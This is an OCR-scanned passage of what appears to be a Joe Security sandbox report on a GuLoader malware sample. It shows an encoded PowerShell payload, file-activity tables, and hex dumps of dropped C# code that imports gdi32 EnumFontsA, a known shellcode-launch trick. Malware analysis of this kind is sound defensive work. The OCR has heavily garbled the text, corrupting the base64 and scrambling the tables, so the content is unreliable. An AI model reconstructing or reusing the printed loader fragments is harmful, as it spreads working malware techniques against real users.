TQBFACWAaQBUAHQAIABGAGSACBSAHKAOQA3ACKAOWANAAOAWWBEAGWADABIAGOACABVAHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIALAAGAE
UAbgBOAHIAeQBQAG8AaQBUAHQAPQAIAFIAZQBhAG QARGBPAGWAZQAIACKAXQBWAHUAYgBSAGKAYWAGAHMAJABhAHQAAQBJACAAZQ
B4AHQAZQBYAG4AIABpAGAAJAAGAEMARABBAEMAKABPAGAAJAAGAFAABWBPAGAAdABZAGOAZQBUAGIAMAASAHUAaQBUAHQAIABQAG
8AaQBUAHQACWBIAGUAbgBOADEALABIAGAAJABQAHQACIAGAFAADWBPAGAAdABZAGOAZQBUAGIAMGASAHIAZQBMACAASQBUAHQAMW
AyACAAUABVAGKAbgBOAHMADQBIAG4AaAAZACWAAQBUAHQAIABQAGBAaQBUAHQACWBIAGUAbgBOADQAKQA7AAOACYBbAEQADABSAEKADQBWAGSA
cgBOACQAIgBVAFMARQBSADMAMGAIACKAXQBWAHUAYgBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABIAGAAJABQ
AHQACYAJAEUAbgBLAGOAVWBPAGAAZABVAHCACWAOAEKADGBOAFAAJABYACAAUABVAGKAbgBOAHMADQBIAG4AaAAIACWAAQBUAHQAIABQAGBAAQ
BUAHQACWBtAGUAbgBoADYAKQA7AAOACJANAACATQANAAOAIGBAAAOACIAAEGATWBWAEUARABCAFKAIABWAEUATABTAEUAUWBNAC
AARQB2AGUACYBIAGQAIABQAHIAbWBhAGOAY QBOAGUAJQAGAHAAYQBhAHMAaWB5AGAAZAAGAEGAY QBhAGAAZABIAHYAZQBUACAAZGBVAHIADABI
AGUACGBUACAAYgBIAHQAaABhAGAAawBpAGAAZWAGAGUAIQBYAG8AdgBpAHMAaQBVACAARGBVAHIAIQBKAGQAaQBZACAADQAKACQARYBVAHIADA
BSADKAMgA9ACIAJABIAGAAdgABAHQAZQBIAHAAIGAGACSAIAAIAFWATWBWAEUAUGAUAGQAY QBOACIADQAKACMAYgBVAG8AawBSAGKAZGBOAGOA
IABGAG8ACgBzZAGEAZQBKAGUAJQAGAFUAbYBKAGUACGBZACAAYgBVAHIAJABMAGSACGBrACAAZABIAHQAZQAJAEWAY QBIAHAAY QAGAEIADABhAG
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4AYWBOAGUAZAA2ACAAVABhAHCACABPAGUABQBhAHMAJAAGAHQAaQBSAHMAJABhAGAAZAAGAGSAY QBYAHQAbWBUAGAAIABCAGUAdg
BpAGWAZWBIAGAAZAAXACAAQUBhAGCAZWBYAHUAbgBKADEAIABUAGEAbgBOAGEADABPAHMAZQAYACAAQYBSAGBAZABOADMAIAANAACAJABGAGSA
cgBsAHKAOQAZADOAMAA7AAOACGAKAEYAbwByAGWAeQA5ADKAPQAXADAANAAAADUANWA2ADSADQAKACQARGBVAHIADABSADKAOAAY
AFSARgBVAHIAbAB5ADKAMQBAADOAOgBOAHQAQQBSAGWAbWBIAGEAIABIAFYAaQByAHQAJQBhAGWATQBIAGOAbWBYAHKAKAAIADEALABDAHIAZQ
BMAFOAJABGAGSACGBSAHKAOQAZACWAMAASAFSACBIAGYAXQAKAEYAbwByAGWAeQASADKALAAXADIAMgA4ADIALAA2 ADQAKQANAACAIWBTAHYA
awBsAGKAbgBnAGUACgBUADEAIABIAGWAY QBUAGSAIABHAHUAJABOAGUACgBzAHMAZQAGAFUASABZAECARWBFAE4AUWBJIAEWAIABVAGYAbWBYAG
QAIABSAGKAZWBZAGCACIBIACAAQYBMAESASWBOAEKAIABFAFYAQQBOAEUAUWAGAFQACIBhAGMAJABhAGIAIABKAHUADABIAGAAZQBNACAAYgBU
AGYAYQBSAGQAZQBSAHMAIABNAEKAUWBMACAAbWBIAHMAJAAGAFQAZQBZAHQAaQBIAGWAZQBUADYAIABGAGKADABIACAACABhAGOA
CABhAG4AZWBVAGSAbWAGAAOACIAKAEY AbwByAGWAeQASADQAPQBDAEYAbwBYAGWAeQASADEAXQABADOAVIBPAGEAYWAOACQARGBY
AHIAbABSADKAMgASADIAMQAOADCANAA4ADMANGAOADIALAAXACWAMAASADMALAAXADIAOAASADAAKQANAACAIWBMAGUAbgBZAGEAZGBOAGEADA
BIACAATgBhAHQAJQA4ACAARYBPAFIAUWBBAEOATABJIAE4AIABIAGAAaWBVACAAUWBVAEIATQBPAEQARQBBACAAZQBSAGUAZGAGAG
MAYQBOAGEACGBpAGAAZQBzACAAQQBYAGEAbYBJAGIAZQBVAHIAIABOAGBAbgBMAGEAbgALACAATQBPAHMAIWA3ACAAQYBPAGWADAAGAHOADWBI
AGYAbWBYACAAUABhAGWAY QBIACAASWBOAGEACgB1AGAAIAByAGUAJABYAGKAYgB1AHQAaQAJAFMAJQBMAGYACGBhAGCAZQBOACAA
TABPAGA4ACWBIAHIAbgA3ACAARQBIAHMAaQBSAGUACGASACAAYWBhAHQAY QBSAHKACWBOAGWAZQAJAFYAY QBNAGKAZgAGAFMAawBYAGWADABIAH
IAYQBUAGKAIABSAEUAVABTAEEAIABUAGgACGBVAGMAawBZAGKAIABJAGAAZQBMAGYAaQBIAGEAYWA4ACAAZWBIAGAAZQBYAGEAIABVAGWAdgBI
AHUAbgBNACAATgBpAGCAaABOAHCAY QBYAGQAbgAYACAASWBWAE EARABSAEEAVABUAEEAIAANAACAJABGAGSBACIBSAHKAOQATADOA
MAA7AAOACGAJAEWAY QBUAGQACWBYAGUAJABWAGBANAAGAESACABZAHYAJQBSADMAIABLAGSAbgBOAHIAY QAGAHAACYBIAGQAZQAGAEIAUGBBAE
4ARABTAEWAIABTAESATWBWAEQAQQBIAEWAVQAGAGQAZQBJAGEAbgBhAGWACWBhACAAaWBhAGSADABPAGAACWBhACAAZWBYAHUAdA
BOAGUAZABIACAAUWBOAHIADQBMAGBACIBIACAAUABZAGUAQBKADYAIABIAGUACABOAGEACGBIADGAIABTAGUAYWBYACAAY gBpAGWADABVAHCA
aQBUACAAYgBhAHQAYWAGAEYASQBUAFQAQQBCAEWARQAGAFAAAQBUAGSAbYBIAHMACWBIACAAUABTAESBAQWBJAEQAQQBFAEMASAAg
AAOACGBbAEYAbWBYyAGWAeQASADEAXQAGADOAQWBEAEEAQWAOACQARGBVAHIADABSADKANAASACQARGBVAHIADABSADKAMWASADUA
OQAXADCAOQASAFSACGBIAGYAXQAKAEYAbwBYAGWAeQASADUALAAWACKADQAKACMAJABOAGUADQAGAFMAUABBAFQAQQBMACAAUWBO
AGEADABSAGUACGBVADGAIABQAGKACWBOAGKAIABPAGUAZABPAGMADBIAGAEMAQQBOAE4ASQBCAEEATAAGAEWAEQBIAGSAZQBKAGUACWBZADCAIA
BOAHIAZQBKAGKAdgBIAGEAYQBYACAAUGBIAGOACWBOAGYANAAGAFMAVQBQAFAARQBUAEUAUGBSACAARGBSAGUACIBKAGBAYGAXAC
AASQBUAGBACGBKAGKAbgAIACAASWBOAEIARQAGAFMAJABhAHQAAQAGAFIAZQBZAHQAYQB1AHIAY QBOADGAIABMAGKAJABOAHKACWAAACAATABF
AFQAVABSAESAIABSAGKAZWBYAG8AaQBUAHMACIAGAEQACGBIAHQAIABKAGUAZWBhAHMACWBIAHMAIABCAGWACGBIAHIAbWA4ACAADQAKAFSARg
BVAHIAbAB5SADKAMQBAADOAOYBFAGAAIQBIAFCAaQBUAGQAbWB3AHMAKAAKAEY AbwByAGWAeQASADMALAAJADAAKQANAAOADQAKAA==

Imagebase: 0xfc0000

File size: 430592 bytes

MDS5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:

00000012.00000002.806121442.0000000009200000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user read data or list  device directory file | object name collision 1 6D66CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6D66CF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only | ' success or wait 1 6BAF1E60 CreateFileW
iptPolicyTest_p0z1jjqw.oai.psl synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only |  success or wait 1 6BAF1EG0 CreateFileW
iptPolicyTest_zxf5m4f4.1d0.psm1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\Documents\20220512 read data or list  device directory file | success or wait 1 6BAFBEFF CreateDirect
directory | synchronous io oryWw
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Documents\20220512\PowerShell_transcr read attributes | device synchronousio  success or wait 1 6BAF1E60 CreateFilew
ipt.284992.cRfLNhRZ.20220512133303.txt synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\nixooqyO read data or list  device directory file | success or wait 1 6DOCFF3C CreateDirect
directory | synchronous io oryA
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Users\user\AppData\Local\Te
mp\nixooqy0\nixooqy0.tmp

C:\Users\user\AppData\Local\Te
mp\nixooqy0\nixooqy0.0.cs

C:\Users\user\AppData\Local\Temp\nixoogyO\nixooqyO.dll

C:\Users\user\AppData\Local\Te
mp\nixooqy0\nixooqy0.cmdline

C:\Users\user\AppData\Local\Temp\nixoogyO\nixooqy0.out read attributes |

C:\Users\user\AppData\Local\Temp\nixoogyO\nixooqyO.err

File Deleted
File Path

Access

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

synchronize |
generic write

read attributes |
synchronize |
generic write

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_p0z1jjgw.oai.psl

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_zxf5m4f4.ld0.psm1

C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqy0.out

C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.0.cs

C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqyO.err

C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqyO0.dll

C:\Users\user\AppData\Local\Temp\nixooqyO\nixoogy0.cmdline

C:\Users\user\AppData\Local\Temp\nixoogyO\nixooqyO.tmp

File Written
File Path

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_p0z1jjqw.oai.psl

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_zxf5m4f4.1d0.psm1

unknown
unknown

unknown

Copyright Joe Security LLC 2022

Offset

0

0

16387

Length Value

1 31

3 75 6e 6b 6e 6f 77 6e
4096 75 6e 6b 6e 6f 77 6e

3888 75 6e 6b 6e 6f 77 6e

device

device

device

device

device

device

Attributes

Ascii

unknown
unknown

unknown

Options Completion

synchronous io  success or wait
non alert | non
directory file |

open no recall

synchronous io  success or wait

non alert | non
directory file |
open no recall

synchronous io  success or wait

non alert | non
directory file |
open no recall

synchronous io  success or wait

non alert | non
directory file |
open no recall

synchronous io  success or wait

non alert | non
directory file |
open no recall

synchronous io  success or wait

non alert | non
directory file |
open no recall

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait
success or wait

success or wait

Count Source Address

1 6BAF1E60
1 6BAF1E60
1 6BAF1EGO
1 6BAF1EG0
1 6BAF1E60
1 6BAF1E60

Count Source Address

1 6BAF6A95
1 6BAF6A95
1 6BAF6A95
1 6BAF6A95
1 6BAF6A95
1 6BAF6A95
1 6BAF6A95
1 6BAF6A95
Count Source Address
1 6BAF1B4F
1 6BAF1B4F
1 6BAF1B4F
5| 6BAF1B4F
5| 6BAF1B4F

Symbol

CreateFilew

CreateFileW

CreateFilewW

CreateFileW

CreateFileW

CreateFileW

Symbol

DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew

DeleteFilewW

Symbol

WriteFile

WriteFile

WriteFile
WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\nixooqy0\nixooqy0.0.cs

C:\Users\user\AppData\Local\Te
mp\nixooqyO0\nixooqy0.cmdline

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

889

369

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
7573 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d Oa 70
7562 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢ 61
73 73 20 46 6f 72 6¢ 79
39 31 0d Oa 7b 0d Oa 5b
44 6¢ 6¢ 49 6d 70 6f 72
7428 22 67 64 69 33 32
2229 5d 70 75 62 6¢ 69
632073 74617469 63
20 65 78 74 65 72 6e 20
49 6e 74 50 74 72 20 45
6e 75 6d 46 6f 6e 74 73
4128 73 74 72 69 6e 67
20464142 4c452c 75
69 6e 74 20 4b 6f 6e 67
65 68 75 73 2c 69 6e 74
2044 69 73 76 6f 69 63
65 61 6f 2c 69 6e 74 20
46 6f 72 6¢ 79 39 30 2¢
69 6e 74 20 4d 61 69 6e
61 73 63 68 65 2c 69 6e
74 20 4d 6f 72 61 6¢ 69
74 31 2c 69 6e 74 20 54
Af 52 45 41 44 4f 29 3b
0d Oa 5b 44 6¢ 6¢ 49 6d
706727428

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5¢c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
355¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 73 65 72 73 5¢
68 61 72 64 7a 5¢ 41 70
70 44 61 74 61 5¢ 4c 6f
63 61 6¢ 5¢ 54 65 6d 70
5c 6e 69 78 6f 6f 71 79
30 5c 6e 69

Ascii Completion Count Source Address

using System;using success or wait 1 6BAF1B4F
System.Runt
ime.InteropServices;publi
c static class
Forly91{[Dllimport("
gdi32")]public static
extern IntPtr
EnumFontsA(string
FABLE,uint Kongehus,int
Disvoiceao,int Forly90,int
Mainasche,int Moralit1,int
TOREADO);[Dllimport(

[t:library /utf8output success or wait 1 6BAF1B4F
IR:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dIl"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\nixooqyO\ni

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te

mp\nixooqy0\nixooqyO0.out

Offset

0

Length Value

455

ff 43 3a 5¢ 55 73 65 72
73 5¢ 68 61 72 64 7a 5¢
44 65 73 6b 74 6f 70 3e
20 22 43 3a 5¢ 57 69 6e
64 6f 77 73 5¢c 4d 69 63
72 6f 73 6f 66 74 2e 4e
45 54 5¢ 46 72 61 6d 65
77 6f 72 6b 5¢c 76 34 2e
30 2e 33 30 33 31 39 5¢
63 73 63 2e 65 78 65 22
20 2f 74 3a 6¢ 69 62 72
617279 20 2f 75 74 66
38 6f 75 74 70 75 74 20
2f523a2253797374
65 6d 2e 64 6¢ 6¢ 22 20
2f 52 3a 22 43 3a 5¢ 57
69 6e 64 6f 77 73 5¢ 4d
69 63 72 6f 73 6f 66 74
2e 4e 6574 5c 61 7373
65 6d 62 6¢ 79 5¢ 47 41
43 5f 4d 53 49 4c 5c 53
79 73 74 65 6d 2e 4d 61
6e 61 67 65 6d 65 6e 74
2e 417574 6f 6d 61 74
69 6f 6e 5¢c 76 34 2e 30
5f 33 2e 30 2e 30 2e 30
5f 5f 33 31 62 66 33 38
35 36 61 64 33 36 34 65
33355¢ 5379737465
6d 2e 4d 61 6e 61 67 65
6d 65 6e 74 2e 417574
6f 6d 61 74 69

File Read

File Path Offset
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config ~ unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown
19d4630d26b88041b59c21e8e2b95¢c\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown
9f6405#\ccc7¢82770f93d1392abde4be3a80378\Microsoft.Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown

.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1
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Ascii Completion Count Source Address

C:\Users\user\Desktop>  success or wait 1 6BAF1B4F

"C:\Win

dows\Microsoft.NET\Fra

mework\v

4.0.30319\csc.exe"”

[t:library /utf8output

/R:"System.dll" /R

:"C:\Windows\Microsoft.N

et\ass

embly\GAC_MSIL\Syste

m.Manageme

nt.Automation\v4.0_3.0.0.

0_31

bf3856ad364e35\System.

Management.Automati
Length Completion Count Source Address
4095 success or wait 1 6D645705
8173 end of file 1 6D645705
4095 success or wait 1 6D645705
6135 success or wait 1 6D645705
176 success or wait 1 6D5A03DE
4095 success or wait 1 6D64CA54
8173 end of file 1 6D64CA54
4095 success or wait 1 6D64CA54
900 success or wait 1 6D5A03DE
620 success or wait 1 6D5A03DE
4095 success or wait 1 6D645705
8173 end of file 1 6D645705
4095 success or wait 1 6D645705
8173 end of file 1 6D645705
748 success or wait 1 6D5A03DE
748 success or wait 1 6D5A03DE
4095 success or wait 1 6D645705
8171 end of file 1 6D645705
64 success or wait 1 6D651F73
23132 success or wait 1 6D65203F
864 success or wait 1 6D5A03DE
4096 success or wait 1 6BAF1B4F
62 success or wait 1 6BAF1B4F
4096 success or wait 1 6BAF1B4F
4096 success or wait 1 6BAF1B4F

Symbol

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
unknown
unknown
unknown

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Users\user\AppData\Local\Temp\nixoogyO\nixooqyO.dll

C:\Users\user\AppData\Local\Temp\OVER.dat

Analysis Process: conhost.exe PID: 5904, Parent PID: 2404

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

637

4096

4096

128

4096

4096
59179

General

Target ID: 20

Start time: 13:32:59

Start date: 12/05/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):

Commandline:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff7c9170000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

C, C++ or other language

high

Analysis Process: csc.exe PID: 1164, Parent PID: 2404

General

Target ID: 24

Start time: 13:33:31

Start date: 12/05/2022

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

Wow64 process (32bit):

Commandline:

true

Completion

end of file

end of file

success or wait

end of file

end of file

success or wait

success or wait

Count Source Address Symbol
1 6BAF1B4F ReadFile
1 6BAF1B4F ReadFile
8 6BAF1B4F ReadFile
1 6BAF1B4F ReadFile
1 6BAF1B4F ReadFile
1 6BAF1B4F ReadFile
1 903FB48 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.cmdline

Imagebase: 0x200000

File size: 2170976 bytes

MDS5 hash: 350C52F71BDED7B99668585C15D70EEA
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

File Activities

File Created
File Path Access Attributes Options
c:\Users\user\AppData\Local\Te read attributes |  device synchronous io

mp\nixooqy0\CSCD80281C713344E6
5BE3EDC717FEDF542. TMP

File Deleted

File Path

.Net C# or VB.NET

moderate

synchronize |
generic write

non alert | non
directory file

C:\Users\user\AppData\Local\Temp\nixooqyO\CSCD80281C713344E65BE3EDC717FEDF542. TMP
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Completion

success or wait

Completion

success or wait

Count Source Address Symbol

1 25E1E9 CreateFilew
Count Source Address Symbol
1 279793 DeleteFilew
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File Written

File Path

C:\Users\user\AppData\Local\Te 0 652
mp\nixooqy0\CSCD80281C713344E6
5BE3EDC717FEDF542. TMP

File Read
File Path

C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqy0.cmdline

C:\Users\user\AppData\Local\Temp\nixoogyO\nixooqy0.0.cs

Offset Length Value Ascii

00 00 00 00 20 00 00 00

00 00 00 00 00 00 00 00
00 00 00 00 0000 00 4c  Inf
02 00 00 3c 00 00 00 fd
fd 10 00 fd fd 01 00 00 00
00 00 30 00 00 00 00 00
00 00 00 00 00 00 4c 02
34 00 00 00 56 00 53 00
5f 00 56 00 45 00 52 00
53 00 49 00 4f 00 4e 00
5f 00 49 00 4e 00 46 00
4f 00 00 00 00 00 fd 04 fd
fd 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 3f 00 00
00 00 00 00 00 04 00 00
00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 44 00 00 00 01 00 56
00 61 00 72 00 46 00 69
00 6¢ 00 65 00 49 00 6e
00 66 00 6f 00 00 00 00
00 24 00 04 00 00 00 54
00 72 00 61 00 6e 00 73
00 6¢ 00 61 00 74 00 69
00 6f 00 6e 00 00 00 00
00 00 00 fd 04 fd 01 00
00 01 00 53 00 74 00 72
00 69 00 6e 00 67 00 46
00 69 00 6¢ 00 65 00 49
00 6e 00 66

Offset

unknown

unknown

Analysis Process: cvtres.exe PID: 4728, Parent PID: 1164

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

25

13:33:36

12/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

L<OL4VS_VERSION_IN
fd fd 00 00 fd fd 00 00 00 FO?DVarFile
Info$TranslationStringFile

Length
369
889

Completion

success or wait

Completion

success or wait

success or wait

Count Source Address

1 27967F

Count Source Address

1 25E638
1 25E638

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:\Users\user\AppData\Loca\Temp\RE
SA741.tmp" “c:\Users\user\AppData\Local\Temp\nixooqyO\CSCD80281C713344E65BE3EDC717FEDF542. TMP"

0x800000

43176 bytes
CO09985AE74F0882F208D75DE27770DFA
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes

Offset

Offset

Copyright Joe Security LLC 2022

Length Value Ascii

Options

Length

Completion

Completion

Completion

Count Source Address

Count Source Address

Count Source Address

Symbol

Symbol

Symbol
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Disassembly

@ No disassembly
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